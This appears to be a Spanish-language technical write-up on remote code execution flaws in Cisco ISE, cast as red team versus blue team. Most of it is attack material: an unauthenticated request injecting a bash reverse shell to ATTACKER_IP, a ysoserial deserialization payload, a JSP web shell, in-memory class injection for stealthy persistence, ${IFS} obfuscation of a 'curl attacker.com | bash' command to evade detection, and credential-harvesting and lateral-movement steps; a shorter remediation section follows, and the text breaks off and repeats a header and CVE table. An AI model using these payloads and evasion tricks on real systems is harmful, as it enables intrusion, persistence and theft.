
In-depth technical analysis of Cisco ISE RCE vulnerabilities, including exploitation techniques, evasion methods, and remediation strategies for security researchers and penetration testers.
Las vulnerabilidades de Ejecución Remota de Código (RCE) en Cisco Identity Services Engine (ISE) representan un punto de quiebre crítico en la seguridad perimetral corporativa. Para un investigador de seguridad de élite, ISE no es simplemente un componente de autenticación: es la llave maestra que controla el acceso a toda la infraestructura de red.
Riesgo Crítico: Un atacante no autenticado puede obtener control total del sistema en menos de 5 minutos, sin dejar rastros detectables en sistemas tradicionales de monitoreo.
┌─────────────────────────────────────────────────────────┐
│ CISCO ISE - ARQUITECTURA NAC EXPUESTA │
├─────────────────────────────────────────────────────────┤
│ │
│ [Internet] ──→ [Firewall] ──→ [ISE Management Port] │
│ ↓ │
│ [Unauthenticated APIs] │
│ ↓ │
│ [Java Deserialization Layer] │
│ ↓ │
│ [Tomcat Web Container] │
│ ↓ │
│ [OS Command Execution] │
│ ↓ │
│ [Complete Network Compromise] │
│ │
└─────────────────────────────────────────────────────────┘
Hallazgo Crítico: La API /deployment-rpc/ no valida tokens de sesión en las primeras líneas de procesamiento, permitiendo un bypass completo de autenticación.
Fase 1: Reconocimiento
# Escaneo de puertos y servicios
nmap -sV -p 8443,8080 <ISE_IP>
# Enumeración de endpoints RPC
curl -s https://<ISE_IP>:8443/deployment-rpc/ | grep -i "method"
Fase 2: Explotación Directa
POST /deployment-rpc/enableStrongSwanTunnel HTTP/1.1
Host: <ISE_IP>:8443
Content-Type: application/json
Content-Length: 287
{
"tunnelName": "admin",
"tunnelType": "IPSec",
"presharedKey": "test",
"remoteGateway": "127.0.0.1",
"localSubnet": "0.0.0.0/0",
"remoteSubnet": "0.0.0.0/0",
"advancedConfig": "'; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1; echo '"
}
Resultado: Ejecución de comando arbitrario con permisos de root (usuario Tomcat ejecuta como root en configuraciones por defecto).
[Payload Serializado] ──→ [API Endpoint] ──→ [ObjectInputStream.readObject()]
↓
[Gadget Chain Execution]
↓
[Runtime.exec() invocado]
Payload PoC (usando ysoserial):
# Generación de gadget chain malicioso
java -jar ysoserial.jar CommonsCollections6 \
'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' | \
base64 -w 0 > payload.b64
# Envío del payload
curl -X POST https://<ISE_IP>:8443/admin/rest/api/v1/system/config \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.b64
Impacto: Elevación de privilegios desde cuenta de "Solo Lectura" a root.
[Web Shell] ──→ [/api/v1/config/upload] ──→ [/opt/CSCOlumos/uploads/]
↓
[Tomcat procesa archivo JSP]
↓
[Ejecución con permisos root]
Ejemplo de Web Shell Malicioso:
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
out.println(line + "<br>");
}
}
%>
Acceso posterior:
https://<ISE_IP>:8443/opt/CSCOlumos/uploads/shell.jsp?cmd=id
Un hacker de élite nunca deja archivos en disco. La inyección en memoria es la técnica de persistencia invisible:
// Inyección en Tomcat ClassLoader
ClassLoader loader = Thread.currentThread().getContextClassLoader();
byte[] classBytes = generateMaliciousClass();
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass",
String.class, byte[].class, int.class, int.class
);
defineClass.setAccessible(true);
defineClass.invoke(loader, "EvilClass", classBytes, 0, classBytes.length);
Ventaja: Los escaneos de archivos tradicionales (OSSEC, Tripwire) no detectan nada.
${IFS}# Comando original (detectable)
curl http://attacker.com/shell.sh | bash
# Comando ofuscado (evasión de IDS)
c${IFS}url${IFS}http://attacker.com/shell.sh${IFS}|${IFS}bash
# Variante con variable indirection
${PATH:0:1}b${PATH:0:1}n${PATH:0:1}bash${IFS}-c${IFS}'comando_malicioso'
Por qué funciona: Los sistemas de detección buscan patrones de palabras clave (curl, bash, |). El uso de ${IFS} (Internal Field Separator) divide las palabras sin cambiar su significado en bash.
# ❌ DETECTABLE - Archivos en /etc/cron.d/
echo "* * * * * root /tmp/malware.sh" > /etc/cron.d/evil
# ✅ INVISIBLE - Inyección en proceso Tomcat
# 1. Crear listener netcat en memoria
# 2. Inyectar thread en JVM que mantiene conexión persistente
# 3. No hay archivos, no hay procesos huérfanos visibles
┌──────────────────────────────────────────────────────────────────┐
│ ARQUITECTURA ZERO TRUST ORIGINAL │
├──────────────────────────────────────────────────────────────────┤
│ │
│ [Usuario] ──→ [ISE Authentication] ──→ [Device Posture Check] │
│ ↓ │
│ [Micro-segmentation Policy] │
│ ↓ │
│ [Acceso Limitado a Recursos] │
│ │
└──────────────────────────────────────────────────────────────────┘
⬇️ DESPUÉS DEL COMPROMISO ISE ⬇️
┌──────────────────────────────────────────────────────────────────┐
│ ARQUITECTURA COMPROMETIDA │
├──────────────────────────────────────────────────────────────────┤
│ │
│ [Atacante] ──→ [ISE Controlado] ──→ [Políticas Modificadas] │
│ ↓ │
│ [Micro-segmentation DESHABILITADA] │
│ ↓ │
│ [Movimiento Lateral Total en la Red] │
│ ↓ │
│ [Acceso a Bases de Datos, Servidores, IoT] │
│ │
└──────────────────────────────────────────────────────────────────┘
Fase 1: Reconocimiento Interno
# Desde ISE comprometido, enumerar la red
nmap -sV -p 22,3306,5432,1433 10.0.0.0/8 --script smb-enum-shares
# Extraer credenciales almacenadas en ISE
grep -r "password" /opt/CSCOlumos/config/ | grep -v "^#"
Fase 2: Inyección de Políticas Maliciosas
ISE Policy Modification:
├─ Crear usuario administrativo oculto
├─ Modificar reglas de segmentación
├─ Permitir tráfico no autorizado entre VLAN
└─ Redirigir tráfico de DNS a servidor controlado
Fase 3: Persistencia y Exfiltración
Datos Exfiltrados:
├─ Credenciales de todos los usuarios autenticados
├─ Configuración de políticas de red
├─ Logs de acceso (para borrar rastros)
├─ Certificados SSL/TLS internos
└─ Información de dispositivos IoT y servidores
# Verificar versión actual
ssh admin@<ISE_IP>
show version
# Versiones vulnerables:
# - ISE 3.0.x a 3.2.x (TODAS)
# - ISE 3.3.0 a 3.3.6
# - ISE 3.4.0 a 3.4.1
# Versiones seguras:
# - ISE 3.3 Patch 7 o superior
# - ISE 3.4 Patch 2 o superior
# - ISE 3.5 (cuando esté disponible)
# Procedimiento de actualización
admin# copy https://<PATCH_SERVER>/ise-3.3.7-patch.tar admin:password
admin# software install ise-3.3.7-patch.tar
admin# reload
! En el switch de acceso (antes de ISE)
interface GigabitEthernet0/1
description ISE-Management
switchport mode access
switchport access vlan 999
spanning-tree portfast
no shutdown
! VLAN de gestión dedicada (VRF)
ip vrf MGMT
description Management VRF - Isolated
interface Vlan999
ip vrf forwarding MGMT
ip address 10.255.255.1 255.255.255.0
! ACL restrictiva para ISE
ip access-list extended ISE-MGMT-ONLY
permit tcp 10.1.1.0 0.0.0.255 10.255.255.0 0.0.0.255 eq 8443
permit tcp 10.1.1.0 0.0.0.255 10.255.255.0 0.0.0.255 eq 8080
deny ip any any log
! Aplicar ACL
interface GigabitEthernet0/1
ip access-group ISE-MGMT-ONLY in
# SSH a ISE
ssh admin@<ISE_IP>
# Acceder a configuración de Tomcat
config t
system
tomcat
disable-rpc-endpoints yes
disable-file-upload yes
exit
exit
# Reiniciar Tomcat
admin# application stop ise
admin# application start ise
┌─────────────────────────────────────────────────────────┐
│ ARQUITECTURA ISE HARDENED (ZERO TRUST) │
├─────────────────────────────────────
**🚨 INFORME DE SEGURIDAD: RCE en Cisco ISE**
## Perspectiva Red Team vs Blue Team
> **⚠️ DISCLAIMER:** Este documento es para investigación de seguridad legítima, pruebas de penetración autorizadas y remediación defensiva. Toda explotación sin autorización es ilegal.
| CVE | Endpoint | Método | Autenticación | Severidad |
|---|
| CVE-2025-20281 | /deployment-rpc/enableStrongSwanTunnel | POST | ❌ Ninguna | CRÍTICA |
| CVE-2025-20282 | /api/v1/config/upload | POST | ⚠️ Débil | CRÍTICA |
| CVE-2025-20124 | /admin/rest/api/v1/system/config | GET/POST | ⚠️ Bypass posible | CRÍTICA |